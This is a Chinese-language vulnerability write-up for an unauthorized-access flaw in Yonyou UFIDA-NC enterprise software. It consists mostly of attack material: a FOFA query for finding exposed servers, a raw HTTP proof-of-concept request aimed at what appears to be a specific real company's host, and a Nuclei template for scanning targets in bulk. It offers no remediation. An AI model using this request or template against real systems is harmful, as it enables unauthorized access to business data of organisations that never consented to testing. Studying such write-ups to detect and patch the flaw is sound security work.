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一：漏洞描述

用友NC是一套功能全面、灵活度高、可定制性强的企业管理软件，能够帮助企业提升管理效率、优化资源配置、提高竞争力.该产品存在未授权访问漏洞

二：漏洞影响版本

UFIDA-NC

三：网络空间测绘查询

fofa:
product="用友-UFIDA-NC"

四：漏洞复现

POC:

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease&TreeSelectedID=&TableSelectedID= HTTP/1.1
Host: nc.shijian-group.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

五：批量检测

id: seeyon-UFIDA-NC-Unauthorized-access

info:
  name: seeyon-UFIDA-NC-Unauthorized-access
  author: 芝士土拨鼠
  severity: high
  description: 用友NC是一套功能全面、灵活度高、可定制性强的企业管理软件，能够帮助企业提升管理效率、优化资源配置、提高竞争力.该产品存在未授权访问漏洞

requests:
  - raw:
      - |+
        GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease&TreeSelectedID=&TableSelectedID= HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - '200'
      - type: status
        status:
          - 200